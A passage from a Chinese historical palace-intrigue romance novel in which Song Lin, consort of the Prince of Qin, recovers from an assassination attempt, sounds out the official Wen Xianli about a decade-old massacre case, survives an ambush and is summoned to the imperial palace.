端着盥洗盆的林歌进屋看到这一幕,顶着一对肿泡眼围过来。
“哭了?”宋檩笑着打趣她。
林歌候在一边不搭话,“黎神医,我家姑娘如何了?”
黎樾瞥了她一眼,“既然醒来,王妃的身子就没什么大碍了,只需要静养一段日子,保管活蹦乱跳的。”
“多谢黎神
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医。”宋檩笑着道谢。
她的身子其实没什么大碍,真要说起来也就是劳累过度,好好养养就回来了。
“阿眠!”院子里响起一阵熟悉的声音。
宋檩坐起身,愣愣地看向林歌,“我怎么听到爹爹的声音了?”她怀疑自己幻听了。
林歌眼神闪烁,嘀咕道:“姑娘昏睡了三天,错过回门的日子,相爷派人来问,根本瞒不住……就说了。”
宋檩不可置信地看向屋外,“所以我爹就来王府了?”
“昨晚就来了一趟。”林歌跟做了错事的小孩般站在床头,等着挨批。
宋檩哪顾得上骂她,掀了被子就下床,恨不得一步蹿到院子里去。忽略了才醒来腿脚无力,一个不留意摔成了青蛙趴。
宋明书一进屋就看到自己闺女狼狈的一幕,他瞄了眼身侧的瞿昙,嘴角抽动,快步上前搀扶。
“你这丫头都成亲了还不知道稳重!”他一边骂一边朝宋檩挤眼色,示意她在王府收敛点。
宋檩无语,她这副模样到底都是为了谁?瞿昙要敢嫌弃,以后就再不管他的死活了!
睨了眼瞿昙,没在他脸上见到嫌弃才作罢。
黎樾和桑无疾早跑没了影,这种时候他们两个外人还是不要在场得好。
宋檩无力地趴坐在桌旁,抓了把头发,开始发牢骚,“爹爹怎么来王府了?”
“怎么,不能来?”宋明书重重放下手上茶杯,一脸痛惜,“果然是嫁出去的女儿泼出去的水!”
亏他收到人受伤昏迷的消息急得吃不好睡不好,小没良心的。
“我哪有那个意思!”宋檩不依了。
那天晚上应该死了不少人,也不知道动静闹得大不大,可有惊动官府?也不知道那满院子的蛇鼠尸首怎么处理的。
她心急,可宋明书在这又不好问,得先想法子把人打发走。
一抬眼发现瞿昙正目不转睛看着她,宋檩先是一愣,随后给他使眼色,让他先把人打发了。
瞿昙眼中藏不住的笑意,这般活跃,应当是没什么大碍了。
他清了清嗓子,“王妃如今只需好生将养,岳父大人公务要紧,届时小婿携王妃同去拜访。”
堂堂王爷既然这么说,宋明书也不好再留,何况眼下他不好久留王府,被御史台那帮人揪住又得吃折子。
“为父不求你不惹祸,但你得保住自己安危。”
“有危险我第一个跑!”
答应得这么爽快,肯定是敷衍,宋明书看了看瞿昙,继续交代,“你如今一言一行都代表秦王府,可不能再由着性子乱来。”
“保证不乱来!”宋檩举起手指保证。
“遇到事情一定跟王爷商议,别铁着头皮硬上。”他还是不放心,一步三回头。
“知!道!了!”宋檩闭着眼睛大声回答。
直到脚步声消失在院子里,她才睁开眼睛往外瞧,彻底见不到身影才松了气,朝一旁坐着的瞿昙无奈一笑,“他总这样,让你见笑了。”
“王妃有一个好父亲。”他的眼里满是羡慕。
宋檩深以为然,点头应和。“对了,那天晚上的事怎么样了?”
16. 早没吸干了
中秋过后,中都城天气转凉,风从窗口吹进屋子,夹带着桂花的香气,宋檩打了个喷嚏。
她揉了揉鼻尖,暗暗观察对面的人。
怎么什么都不说啊?
“不方便说?”好歹帮了他,就这么对自己的救命恩人?宋檩有些生气。
瞿昙摇头,“那倒没有。”
宋檩拿了床上的薄毯披在身上,坐在他对面眨巴着眼睛等后续。
“刺客有三批,来自不同的指使人。”
敢公然杀进秦王府,背后主使不难猜,“有逆鳞卫的人?”她有些好奇。
“嗯。”瞿昙淡淡回应。
好大的手笔,也不知是授意,还是私下行动,宋檩摸了摸下巴。“刺客的尸体怎么处理的?”
“惊风送去了廷尉府。”
正想说直接埋了多可惜,这样处理就挺好,也不知道廷尉府喝不喝得下这碗烫嘴的稀饭。
意识到什么,她抓住瞿昙的手,紧张问道:“不会露出破绽吧?”
瞿昙瞥了眼手上的爪子,直勾勾盯着她,“放心,没全部送过去。”
那就好,宋檩拍了拍胸脯,知道避重就轻,是个不错的盟友,以后的合作应该很愉快。
“王妃……就没什么想说的?”
宋檩瞳孔一缩,眼神躲闪,该来的还是来了。“你想听什么?”
屋内又陷入沉寂,宋檩毫不回避他的眼神,瞪圆了眼睛,大有一较大小的架势。
想听什么呢?他也不知道。左右是听不到真相了。
想通后瞿昙笑了,无奈地摇头,“是本王逾矩了。”
宋檩跟看傻子似的看着他,默默点了个头,皮笑肉不笑道:“王爷放心,我会治好你的!”
瞿昙起身往外走,“等养好了身子,我跟你回相府。”
“遵命!”宋檩挥着手送他出门,“下次毒发欢迎来找我啊!”
待人离开,宋檩脸上的笑荡然无存。
“林歌。”
“属下在。”林歌应声进屋。
“除了送去廷尉府的,余下尸首在何处?”凡入了院子的刺客皆被蛇咬死,死状惨烈不说,一旦被外人看见,少不得惹上事端。
秦王府中人眼下还需要她,不会跟她撕破脸,但外头有的是人想抓她的把柄。
“姑娘不必担心,那些尸首已被黎樾神医用化尸水化掉,没留下半点痕迹。”林歌压低了声音。
所谓化尸水,不过是高浓度的硫酸,一次性使用那么多量,倒是有心了。
宋檩悬着的心稍稍落地。
“姑娘,五殿下身边的林武来了。”
她猜测阿兄那边应该知道了王府发生的事情。“把人请进来。”
“参见王妃!”
初见到他,宋檩吓了一跳,包裹那么严实,真不怕捂出痱子。
“姑娘,林武是暗卫,寻常是见不到的。”林歌凑在她耳边低语。
“殿下派你来有何事?”
林武抱拳,“回王妃的话,殿下派属下跟在王妃身边,随时保护王妃安全。”
“你怀疑我的能力?”林歌双手握拳,上前一步不服气道。
宋檩后退一步,好一个剑拔弩张的场面,不适合她。
“殿下吩咐,属下不敢不从。”林武全不把她放在眼里。
“姑娘!”林歌跺脚,不服气地跟她求援。
这……她可以都要吗?
“和气生财。”她笑着拉过林歌。
秦王府毕竟和相府不同,林歌以贴身侍女的身份在她身边,总往外跑太扎眼,林武在的话,有些事确实方便得多。
她一番忽悠劝说,总算把人哄好了。
想到如今住在如苑,林武出入她的房间有诸多不便,起了搬出去的心思。
“林歌,你去找一趟安管事,问问有没有合适的院子,总这么借住在如苑也不是办法。”
林歌看向林武,离开了如苑。
她没有得逞,安管事一口回绝了此事,说是刺客闯入王府,院落损毁严重,修缮起来颇费时间。
将就是不可能的,宋檩认命了,继续住在如苑。
王府东侧的水榭里常年摆着一盘棋,瞿昙无事就会到那里,或者跟人对弈,或者一个人下棋,一坐就是大半天。
桑无疾摇着扇子大踏步走来,在他对面落座,一把夺过他手里的白子,盯着棋盘找地儿。
“一猜你就在这,怎么不去陪陪你的小王妃?新婚燕尔,夫君冷落,啧啧,可不是个好兆头啊!”
终于找了个好地儿,他笑着落子。
瞿昙拿了颗黑子继续下,眼皮都没掀一下。
几个来回后,白子明显处于弱势,桑无疾急了眼,“哎!我说你在小王妃那里吃了瘪有必要报复在我身上吗?”
“聒噪。”瞿昙继续落子。
看着他一颗颗拾捡白子,胜负已定,桑无疾心情还不错。
“不玩了!”他把子儿丢进棋楼,笑得很欠打,“我说,真吃瘪了?”
瞿昙给了他一个“不想死就闭嘴”的眼神,他赶紧拿了扇子遮住嘴,嘴却没有消停,“你那小王妃看着也不像是不好相与的样子啊……”
“明白了!你们……年龄差距太大,有碍沟通!”
瞿昙:“……”
他扭头看向迎面走来的黎樾,面无表情道:“化尸水怎么没把他化掉?”
黎樾嘴角狠抽,同情地看向桑无疾,自求多福吧桑公子。
“别呀!我还可以挖掘一下!”
没那个本事还嘴欠,活该被孙,黎樾懒得理他。
“王妃虽是个谜团,但眼下王爷的毒还得仰仗她,夫妻间小打小闹可以增进感情,可不能真生了嫌隙。”
黎樾的一句无心之言,瞿昙却听了进去。他和宋檩相差近八岁,以后的相处中确实得注意些分寸。
她调查蓉花玉简之事恐已打草惊蛇,麻烦很快就会来,得安排些人暗中跟着。
思及此,他立马安排惊风去办。
宋檩可没闲工夫左思右想,林武是华承璟身边的暗卫,自然熟悉他的近况。一番询问后发现,形势比她预想的还要糟糕。
大昭如今的天平趋于稳定,太子和承王各执一脉,皇后和贵妃身后的家族互相牵制,皇帝是砝码执掌者。
在如此阵容面前,一个新的人物登上大昭政坛,还是后宫和母族毫无助力的五皇子,简直痴心妄想。
宋檩苦恼地揉眉心,她把大昭国情给忽略
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了。
如今的华承璟,还只是个无宣不得入宫的闲散皇子,早朝大殿都没登上。
无论如何,得先打破他的沉默,不求人来归附,要让有心之人可寻。
“林武,告诉五殿下,星月茶楼,我请他喝下午茶。”
午时刚过,宋檩领了林歌往茶楼去,到那发现华承璟已经在等。
“说好的我请阿兄,竟到得比客人晚,惭愧。”她笑着坐下,眼神示意林歌外门候着。
华承璟给她倒了杯茶,“星月茶楼的糕点不错,我点了几道时令花酥,有想吃的随便加。”
宋檩端了茶闷头就喝,摆手道:“够了,今日约阿兄,是有要事相商。”
他抬手示意,请她继续说下去。
“我问了林武一些情况,才知有些事远没有想象中那么简单,前些日子困于婚事,现下终于得了空,可以跟阿兄好好聊聊。”
“我正好有事要问你。”华承璟放下茶杯,定眼看着她,“身子如何了?”
这不是个三言两语能回答的问题,宋檩含糊其辞,“吃得好睡得好,没什么大碍。”
这话他倒是信,别的不说,瞿昙人品过关,断不会苛待一个手无缚鸡之力的女子。
“我与秦小王爷打过几次交道,虽寡言了些,为人却不错,你与他应该合得来。”
宋檩挑眉,一个在北疆,一个在南疆,他们怎么认识?
想到此行目的,她摆手道:“先不说我的事了。阿兄,当务之急,得想法子打破这种局面。”
“我查了一下,不论是朝中大臣,还是背后的世家,这些年疲于应对的不在少数,尤其是侨姓世家,根不在中都,为了维持所谓的体面,早就被吸干了。”
“即便有陆家和薛家的提携,族人多在无关紧要的闲职上,放眼朝堂,哪个实权职位不是被陆薛两姓中人把控着?”
即便苟且求来个职位,想要提拔往上又得不断砸钱,机会有限,价高者得!长此以往,再大的家业都能被榨干。
侨姓世家哪一个当年不是威名赫赫?现今苟延残喘,有几人还能笑得出来?
她的发言让华承璟震惊,时局虽如此,能看透者几人?更遑论她一个刚出阁的女子。
华承璟毫不吝啬赞许,“你能看出这些我没有料到。但正如你所说,苟延残喘之家再无可能扶持一个新人,他们不会脱离现有的利益集团。”
“谁说只有脱离这一条路可走呢?”宋檩笑若朝阳,双眸炯炯有神,闪烁着智慧的光芒。
内部瓦解,自然再无所谓的利益集团。
华承璟明白这个理儿,但他更清楚困难程度。
“你有什么主意?”
宋檩摸向腰间的荷包,既然眼下没有别的法子,那就剑走偏锋,正好试探一番玉简的威力。
“蓉城可有在京为官的人?”
华承璟马上想到了一个人,“还真有这么一个,文献礼,出自蓉城,画的一手绝妙的人体筋脉图,画师举荐入仕,在廷尉府多年,如今已是廷尉正。”
这么说与她同族?
“为人如何?”
“民间呼声颇高,太子和承王都曾派人游说于他。”
宋檩勾了勾嘴角,“就他了!”
17. 你到底是谁
廷尉府衙门口的灯笼亮起了灯,廷尉正的办公房里,桌案上摆满了卷宗,文献礼正挑灯夜读,不时誊抄些疑点。
上任以来不过数月,已经在多处卷宗里发现了可疑之处。
虞廷尉年事已高,请辞的折子递了半个月,今早已经批下来,年底他就退了。
新的人事任命没来,府衙的一应事务由他暂代。
往常管着自己的一亩三分地,他自认为按律法办事,即便小有出入,结果也相差不大。
翻看卷宗才发现,一个月内竟有好几起错案。偏偏牵涉进这几起案件的人都跟太子一党有关。
他若提出卷宗疑点,重审这些案子势必牵扯党争,届时案子结果如何根本无人关心,那他费尽心思修律法又有何用?
文献礼放下手里的笔,按着突突跳的太阳穴发愁。
一道银光划破窗子,他本能地扭头躲避,飞镖扎在不远处的梁柱上,发出闷闷的撞击声。
他迅速拉开房门往外看,院子里空荡荡的,早没了来人的影子。
门口侍卫见了他忙行礼,“大人。”
“可有发现异常?”
侍卫们对视一眼,摇头道:“并无异常。”
文献礼点头,转身关了房门。
他取下信函一看,眼前一黑,脚下趔趄,差点栽在地上。
不过是一封平平无奇的邀约信,往日没少收到过,偏偏有个蓉花印记。
来到中都城已经五年了,虽然太子和承王一直在搜寻它的下落,在中都城现身,这还是头一回。
到底是谁在背后指使?难道是个阴谋,目的就是为了引他现身。或者并非他一人收到此信,待众人聚在一处,好来个一网打尽?
绝不能让他们的阴谋得逞!
他把信塞进怀里,灭掉烛灯离开办公房。
老王爷不在中都城,秦王府现下并无长辈,宋檩无需晨昏定省,府中事宜有安管事操持,瞿昙亦不拘她,日子比在相府还要自在。
刚用过早膳,她就换了妆大摇大摆出门。
“安排人保护王妃。”看着她离开的身影,瞿昙敛下眸子,看不真切眼神。
惊风拱手,“我们的人绝不会打搅王妃。”
他叹气,王妃身边有五皇子的暗卫,侍女身手不凡,等闲岂能伤了王妃?上回那个场面他还没忘呢!
约的是巳时,宋檩用过早膳就出发了,提早了近半个时辰,到星月茶楼时却被告知包间已经来了人。
她觉察到不对劲,眼神示意林歌,才点头上楼。
推门入内,文献礼扭头看过来,视线对上,两人都有些意外。
“我约大人,到得比大人晚,惭愧。”宋檩并未刻意隐藏自己。
竟真是个女子。文献礼心生疑惑,此人到底是谁?
“姑娘约本官前来,所为何事?”事情跟预期有出入,文献礼决定暂时按兵不动。
宋檩走到对面坐下,并没有被看穿身份的窘迫。
“听闻大人秉公断案,铁面无私,我有一疑案希望能重审,不知大人能否行个方便?”
文献礼眯起眼打量她,分明是醉翁之意不在酒,他倒要看看,此人葫芦里卖的什么药。
“姑娘有什么冤情都可呈告廷尉府,本官自会按章程督办。”他朝上一拱手。
宋檩摇头,笑道:“我这案子有些特殊,廷尉府怕是办不了。”
“姑娘既然说这案子廷尉府办不了,为何还找本官?”
“廷尉府办不了,可大人您……办得了。”宋檩身子前倾,嘴角浮起一抹笑,好似笃定了他不会拒绝。
文献礼端了茶杯,轻轻啜上一口,掩下心里疑惑,“姑娘的意思,本官不明白。”
宋檩立直了身子,朝林歌递了个眼色,伸手朝后。
林歌忙将本子放在她手上。
“大人一看便知。”宋檩双手呈递,诚意满满。
秉着好奇的心思,文献礼打开了那个本子,大致扫了一遍,无非是家人惨死,无处申冤,廷尉府到处都是,没什么新奇的。
但她既然那么笃定,本上所述定不是全貌。
对方身份不明,周身气场却非一般人,须得谨慎应对,文献礼暗暗告诫自己。
他举起本子,一副公事公办的样子,“单凭此本无法了解事态全貌,所谓的真相也只是一面之词,若要重审,本官得先看卷宗。”
宋檩两手在身前交握,摇头道:“没有卷宗。”
“姑娘自然没有,卷宗存放在府衙,有专人看管,寻常人自是见不到。只需告知本官户籍所在地,本官会派人调取卷宗。”他滔滔不绝的一番说辞,大有咄咄逼人的意味。
宋檩完全不受影响,仍坐在那,一言不发,只是淡淡地摇头。
文献礼有些恼她,说话的语气加重了,“姑娘来找本官重审案子,却又什么都不说,实在叫人费解。”
“本官不得不作他想!”
“哦?大人想到了什么?”她挑眉问道。
“姑娘的户籍……”
“中都城。”他的话还没说完,宋檩抢先回答,“大人还有什么要问的?”
文献礼皱眉,竟然不是蓉城人。中都城中这样的案子并不多见,花点时间总能找出卷宗,并非太难的事情。
他清了清嗓子,“案发何时?家中几人?现居何处?”
侍从见状立马摆上文房四宝,以便他随时办公。
“案发咸熙十五年,家中一百八十三口人,无一生还。”
文献礼正认认真真誊写,突然笔尖一顿,似乎想到了什么,睁大眼睛看着她,任由案桌下的手掐着大腿。
“你到底是谁?”
咸熙十五年,也就是十年前,一百八十三人的案子,中都城只有一个,那就是文国公府!
这个案子的卷宗他确实找不到,因为自始至终,就没有卷宗!
前有蓉花印记,如今又是文国公府,这个女子到底什么身份?既然找上了他,定是对他的身份有所怀疑。
文献礼,莫慌!这只是个试探。
两人相持了几息的工夫,宋檩出声,“接下这个案子,大人自会知晓我的身份。”
岂是这么简单,说接就接的?
十年悬案,明面上尚且蹊跷,背后之事谁人不知?
审查此案,与谋逆何异?<
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p>寻找蓉花玉简多年无果,背后之人显然不再指望,以十年悬案拉人入局才是真正的目的!这个局的关键就在他身上。
想明白事情的前因后果,他冒了一身冷汗。此人是太子派还是承王派,都无所谓,想出这样的损招,可谓阴险至极!
眼下他必须稳住,想法子把自己摘出去。
文献礼招呼侍从收拾桌子,起身告辞。
“姑娘的茶本官喝了,但茶楼毕竟是消遣之地,至于案子,还是在廷尉府谈比较妥。本官还有事,告辞!”
眼见他大摇大摆离去,林歌心生疑惑,“姑娘为何不拦住他?”
宋檩把玩手中茶盏,漫不经心道:“阻拦朝廷命官可是大罪。”
林歌撇嘴,她家姑娘身份尊贵,岂会轻易被个廷尉正唬了去?
“姑娘,咱们要回府吗?”
“不回。”
林歌不知道要去哪,不清楚要做什么,只任由林武驾着马车往城外跑。
马车停在距官道尚有一段路的隐蔽林间,林武持刀立身马前,声音不紧不慢,“王妃,我们被包围了。”
林歌不可置信地挑开帘子,果见周遭黑压压围满了人,“文献礼,他怎么敢?”
宋檩起身,就着她挑起的帘子下了车,只是扫了眼来人就知绝非文献礼的手笔,“区区一个廷尉正,他没这阵仗。”
“王妃。”林武退到她身边。
即便他们功夫了得,对方人数太多,凭他跟林歌两人,很难护着王妃全身而退。
宋檩抬手打断他的话,“不必管我,全力应敌。”话落,她跳出两人的安全区。
林武想要到她身边却被人缠住,只能拼力厮杀。
让她意外的是,来人训练有素,并非滥竽充数之辈,林武被人围困,很快挂了彩。
再这样下去可不行,得赶紧脱身。
就在她准备出手之际,空气波动,一群不知从哪冒出来的人加入打斗。显然这些人的身手在杀手之上,半炷香的工夫全部解决了。
林武林歌迅速来到宋檩身边,将她护在身后。
这些人身份不明,武艺高强,是敌是友还是个谜。
宋檩的眼神在那些清理尸首的人身上扫过,心里有了猜测。
“贼人已经全部处理干净,王妃可以放心离开。”见她身边的人受了伤,继续道:“属下安排人护送王妃回府。”
怪道她觉得这些人身上的衣服眼熟,还真是秦王府的人。
路过医馆时,她让林武和林歌进去处理伤口,自己跑去了祥福斋。待林歌回到马车上,发现角落里的糕点堆成了个小山丘。
“伤口如何了?”见她盯着那堆糕点,宋檩不着痕迹地侧身挡住。
“都是皮肉伤,没什么大碍。”林歌挪了个位子继续看,“姑娘想吃祥福斋的糕点了?”
上回吃还是洛姨娘送的,既然姑娘喜欢吃,以后她得多去买。
宋檩眼神闪烁,有些窘迫,闷闷地敷衍,“嗯。”
“姑娘想吃了告诉属下,何必亲自跑这一趟。”
送人的礼物不亲自买,岂不显得很没有诚意?宋檩腹诽,面不改色道:“回府。”
18. 定护你周全
回到如苑,院子里四下无人,宋檩夺过林歌手里的糕点,打发二人下去梳洗,拎了就往书房去。
方才她听到了侍卫们的对话,知道瞿昙在书房。
她今日买了不少糕点,即便黎樾和桑无疾都在也足够吃了。
意外的是,今天两人都不在。
瞿昙见她拎着东西站那发呆,身上的衣服还没来得及换掉,应是一回府就过来了。
“王妃有事?”他疑惑出声。
宋檩上前,把手里的糕点放在书案上,“这是祥福斋的糕点,我挺喜欢吃的,你也尝尝。”
他指着那堆糕点,不可置信道:“这么多……”
宋檩抓了抓脑袋,“我以为黎神医和桑公子在,担心不够吃,就多买了些。”
“好,回头我让惊风转交给他们。”他淡笑应下。
手里没了东西,宋檩有些不自在。
“王爷,今天的事……多谢,往后有需要的地方您直说,我保证随叫随到!”
瞿昙被她的表情逗笑,示意她坐下说话,“你是御赐的秦王妃,护你周全,是情理中事。”
“这是我们一早便约定好的,王妃难道忘了?”
她还真没想过有这一条,宋檩汗颜。“倒也没有,只是我什么都没做,你却处处为我着想,实在是……过意不去。”
“难道在王妃心里,本王是个斤斤计较的人?”
“当然不是!”宋檩立马反驳,“秦小王爷为国为民,是个顶豁达的人!”
似是没想到她会这般评价自己,瞿昙无奈摇头,“王妃可知今日那些杀手是什么人?”
不是太子就是承王,左右逃不过这二位。
她两手一摊,“应该不是逆鳞卫。”
“你对文献礼了解多少?”
说起了解,还真算不上,仅限于能查到的信息,宋檩挑眉,“王爷知道他?”
“他也算个风云人物,就查了一下。”
“怎么样?”宋檩来了兴致,他的所谓查了一下,与自己的查肯定不在一个层面。
瞿昙正欲开口,敲门声响起。
惊风推门进来,身后跟着安管事。
“王爷,王妃,晚膳已经备妥,是在如苑用餐还是膳食厅?”安管事脸上堆满了笑,又开始他的小盘算。
在如苑用餐大抵是各吃各的,王爷一般在膳食厅用餐。自打二人成亲,还没在一张桌子上吃过饭,他心里急呀!
宋檩摸了摸肚子,难怪有些饿了,竟然已经到了饭点。照例她该回如苑用餐,这是二人心照不宣的事。
但她太想知道文献礼的情况,错过了这次机会,再要问他就不知道该找什么理由了。
一抬头发现三双眼睛盯着自己,宋檩眸子忽动,看向瞿昙,带着商量的语气出声,“王爷,不如……一同用膳?”
“老奴这就让人把饭菜摆在膳食厅!”说罢,安管事头也不回地离开。
宋檩抬手欲喊住他,发现人早没了影子,扭头看向瞿昙,尴尬一笑,“安管事太性急了。”
瞿昙眼神闪烁,嘴角高扬,心情不错,“安管事是性情中人。”
宋檩握紧了拳头,脸上堆满假笑,“王爷,请!”她不断暗示自己,有事相求,不能生气。
为了这顿饭,安管事颇费了些心思,饭菜上桌后,他把侍女全部撤下,偌大的膳食厅只有瞿昙和宋檩两人。
二人对坐,一个看破不说破,一个正合心意。
宋檩心急,琢磨如何开口。见她扒拉着碗里的白饭发呆,瞿昙放下碗筷,疑惑出声,“饭菜不合胃口?”
“不是!”她也放下碗筷,两手在桌上交叠,坐得端正,试探道:“王爷,我可以说话吗?”
瞿昙眨了眨眼睛,明白她的言外之意,嘴角一勾,“王府没那些规矩。”
那再好不过,宋檩心下一喜。
“方才王爷说查过文献礼,可否与我说道一二?”她看向瞿昙,一脸希冀。
不了解他就敢私下约见,他这个王妃还真是胆识过人。
瞿昙在心里设想了她找文献礼的几种可能,都被自己一一否决,无奈地揉了揉眉心,“他不简单。”
宋檩深以为然,能在党争如此激烈的角逐下稳步高升,且不被拉入泥潭,绝非等闲之辈。
“此人出自蓉城文家,族人亲眷都不在中都城,太子和承王起初并不中意他来接手廷尉府。”
“可虞廷尉举荐此人时,双方谁都没有反驳,你可知为何?”
宋檩摇头,认真听他讲述。
“这是圣上的意思。”他义正词严道。
圣上竟敢重用文家人,到底是觉得他孤身一人好控制,还是觉得天下人都跟他一样薄情寡义?
“怎么会这样?”宋檩喃喃自语,仍旧不敢相信。
“他没得选。”瞿昙瞧她一眼,继续吃饭。
为何没得选?纵观朝堂,太子和承王相持,他手里的逆鳞卫遍布整个中都城,朝臣的一举一动皆在眼皮子底下,他有什么不得已的?
除非……
意识到什么,宋檩眯眼看向对面的瞿昙,“惊风送去廷尉府的刺客尸首中有逆鳞卫的人。”
瞿昙举起酒杯,一口饮尽,“王妃果然聪慧。”
宋檩下意识握紧拳头,眼里泛着精明。
是了,堂堂秦王府新婚夜遇袭,刺客尸首被送到廷尉府,其中竟有逆鳞卫。依着文献礼的为人,定会暗中奏请圣上决断。
看来那晚的逆鳞卫并非圣上所遣,生性多疑的他起了防备之心。
文献礼就是个天选之人。
“圣上就没有别的动作?”如此信任一个人可不是他的行事作风。
瞿昙赞许地看了她一眼,“圣上有意把嘉安郡主赐婚给他。”
什么?宋檩震惊。
嘉安郡主曾经结过婚,郡马爷石徵在抵御海寇时丧生,为表君恩,圣上并未收回东海五郡兵马的兵符。
也就是说,嘉安郡主手里攥着五个郡的兵马。
甭说太子和承王,如今只要她任人得当,起兵攻下中都城也不过是时间问题。毕竟东海毗邻中都城,而南境和北境的兵马远水解不了近渴。
“嘉安郡主孀居多年,会答应这门婚事?”
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>瞿昙淡笑,“应不应都不打紧,只要筹码足够,没什么所谓。”
宋檩摸了摸下巴,圣上意在兵符,婚事确实无关紧要。文献礼应下此事,是他升任廷尉的筹码。
只是今上一向不重武将,此时却将东海五郡的形势看得如此透彻,定是有高人在背后指点,就是不知这位高人到底是谁……
她暗暗瞄了眼瞿昙,从他的脸上看不出端倪。
看来此事得问问华承璟了。
“我吃好了,王爷慢用!”宋檩起身告退。
瞿昙点头,继续用餐,好似她的离去并没影响什么。
如苑,林歌见她进门,小跑着迎过去,“安管事差人来传话,说姑娘在膳食厅用餐,今儿如苑没有备餐。”
宋檩摆手,“我吃过了。”
“林武何在?”
“属下在。”他突然出现在屋子里,宋檩已经慢慢习惯了。
“林歌,替我磨墨。”说罢,她埋头写了一段话,将事情原委写了个大概,叠好后交给林武,“送去给五殿下。”
林武接下,消失在房间里。
从星月茶楼约见文献礼,到城外遇刺,再到后来王府侍卫搭救,林歌得出个结论,王妃早料到出了星月茶楼会被人刺杀。
“今日多亏了王府侍卫,否则属下跟林武断不能护姑娘全身而退。姑娘,咱们可要去感谢王爷?”
“不用。”宋檩大手一摆,已经谢过了。
林歌眨巴着眼睛,见自家姑娘手里早没了祥福斋的糕点,才有些明白过来。姑娘定是拎着糕点去感谢过了。
“姑娘,文大人那边,咱们还见吗?”
今日闹了这么一出,要说得到什么重要信息还真不算,文献礼是个不好对付的人。
“见,怎么不见。”试探之下明显感觉到他的保留和谨慎,这次刺杀文献礼没有参与,但一定早就料到。
他没有出手不代表毫不理会,一定在背后观望。如今自己活着回去见他,足见还是有点本事的。
宋檩勾了勾嘴角,“明日去趟廷尉府。”
回到如苑一会儿的工夫,安管事急急忙忙过来,说是宫里来了人,请王爷和王妃明日一早入宫。
她明日的计划落了空。
林歌接下安管事送过来的东西,从衣服到首饰一应俱全,摆满了桌子。
“姑娘早些歇下,明日得早起梳妆。”
尽管睡得很早,宋檩还是没能起得来。眼瞧着时辰到了,林歌只能把她从被窝里扒拉起来,全程闭眼梳洗穿戴,搀扶她出府门。
上马车的时候,宋檩看了眼黑漆漆的天色,暗暗把宫里的人骂了一遍。
瞿昙见她歪着脖子犯困,打开座位下的屉子,拿了个软枕丢过去,“这一路少不得颠簸,靠着些。”
宋檩乜斜了一眼,二话不说把软枕放平,侧身向里枕着继续睡。
势头倒是很足,瞿昙眼里装满了笑。
“半个时辰到皇宫,先去养心殿谢恩,再去寿宁宫拜见太后,皇后和贵妃若是派人来请,你自己多加小心。”
躺着的人顿时睁开眼,睡意全无。
19. 开局一场打
二人到养心殿时,恰逢圣上下早朝回来。瞿昙虽是亲王,如今却闲赋在家,无半点官职在身,原本谢过圣恩就可以离开。
偏偏这回被留了下来。
宋檩一介妇人,只能识趣地先告退。
这皇宫她没来过,人生地不熟,连个落脚的地方都没有。
从养心殿出来,她百无聊赖地闲逛,被一个不知哪儿冒出来的小太监挡住了去路。
“奴才给秦王妃请安。”
宋檩吓得一激灵,浑身鸡皮疙瘩都竖起来了,这声音跟唱戏似的!
她眼角微眯,不认得这太监到底是哪个宫里的人。
“你是何人?”认得她,定是冲她来的,这后宫之中,除了皇后就是贵妃。
那小太监忙作揖,“回秦王妃的话,奴才是皇后娘娘宫里的人。”
宋檩颔首回礼,有道是小鬼难缠,这些宫人可轻易不好得罪,“公公找我何事?”
“回秦王妃,宋家二姑娘此刻正在凤仪宫,娘娘得知秦王妃进宫,特命奴才过来,请秦王妃去凤仪宫一叙。”小太监脸上堆满了笑。
秦王虽然久居府中,好歹手里有整个南境的兵马,秦王妃又是御赐,他一个小小的宫人,自是不敢怠慢。
消息挺灵通的嘛,宋檩看向养心殿的方向,神色平平。
“劳烦公公带路。”既是皇后相请,岂有不去的道理?更何况宋姿还在,若是不去,免不了给秦王府招去口舌。
宋檩跟在小太监身后,拐几个弯就到了凤仪宫。
不愧是皇后的宫殿,从宫女配置和物件摆放来看,都是极其奢华的。
才到殿外,就听到里边的谈笑声,还夹杂着几句低沉的男人声音,她脚下一顿。
“秦王妃先在此等候,容奴才进去禀报一声。”小太监礼貌性地告知,猫着身子进去殿内。
宋檩最先等到的不是宣她入内的太监,而是一贯不待见她的华承乾。她惊讶之余,忙欠身行礼。
“臣妇见过太子殿下。”
华承乾眼睛都没斜一下,快步离开了凤仪宫,好似这里有什么不干净的东西般。
宋檩无奈耸肩,太子就是太子,一人之下万人之上,遇见不想见的人,可以完全无视掉。不像她,还得哈着腰上前讨嫌。
“娘娘请秦王妃入殿内。”小太监终于去而复返。
宋檩深吸一口气,提着裙摆入内。
宋姿瞥见进来的人,一副惺惺作态的样子上前,“大姐姐来了!”
陆皇后凌厉的眼神看过去,对于相府这个寡言少语的大姑娘,她的印象并不深。但较之懂事又会哄人的宋姿,她明显更喜欢后者。
何况宋姿有个逆鳞卫卫使的舅舅,作为拥有一半国公府血脉的宋檩明显不是太子妃的合适人选。
“臣妇宋檩见过皇后娘娘。”宋檩行了一个标准的礼,倒叫宋姿有些诧异。
皇后见她规行矩步,也没有强行挑人毛病的打算,圣上留下瞿昙还不知为何事,她可不能先把人得罪了,摆手让人赐座看茶。
“姿儿担心你入宫不懂规矩,适才还在本宫跟前替你说好话,如今看来你在秦王府里过得不错。姐妹之间到底血脉相连,往后得了空也可多多走动。”
宋檩看了眼对面的宋姿,她会为自己说好话?事情真假暂时持怀疑态度。
皇后明显话里有话,姐妹往来是假,想要获得秦王府的支持才是真。不得不说,皇后要比华承乾那位太子更有格局。
“娘娘说的是,臣妇是长姐,应该多与妹妹们走动。”宋檩顺着她的话说,一副不明白其中隐情的样子。
皇后懒得多说,她儿子不喜欢的人,做母亲的自然站在儿子那一边。
“姿儿,你与秦王妃既是姐妹,年龄相仿,可去御花园转转,就不用在这里陪着本宫了。”
宋姿明白皇后的意思,忙起身告退。
“姿儿改日再来给娘娘请安。”
宋檩看了她一眼,没有拒绝。
“臣妇告退。”
凤仪宫外直走就是御花园,宋檩顾自走着,没有要开口的意思。
宋姿停下脚步,看向前边毫无察觉的人,眉头轻皱,“姐姐可知,皇后娘娘让我与姐姐出来为何意?”
宋檩嘴角轻扬,终于沉不住气了?
“我不是妹妹,自然无法揣度皇后娘娘的心思。你我也没必要在这上演姐妹情深。”
宋姿被她奚落,脸色有些难看,原本绷着的脸立马变了。
“姐姐,做人要识好歹,看在你我姐妹的情分上,我才愿意来劝你一句!”
“多谢,不必了!”宋檩可不会给她什么好脸色。
“你!”宋姿习惯性地扬起手,动作行云流水,以前可没少打人。
